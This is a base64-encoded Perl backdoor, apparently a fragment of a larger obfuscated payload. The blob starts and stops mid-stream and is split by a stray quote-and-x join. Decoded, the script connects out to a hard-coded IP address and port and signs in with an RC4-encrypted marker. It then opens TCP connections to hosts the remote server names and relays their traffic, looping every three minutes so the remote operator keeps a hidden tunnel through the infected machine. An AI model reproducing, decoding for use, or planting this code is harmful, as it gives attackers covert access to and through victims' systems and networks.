Y2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY29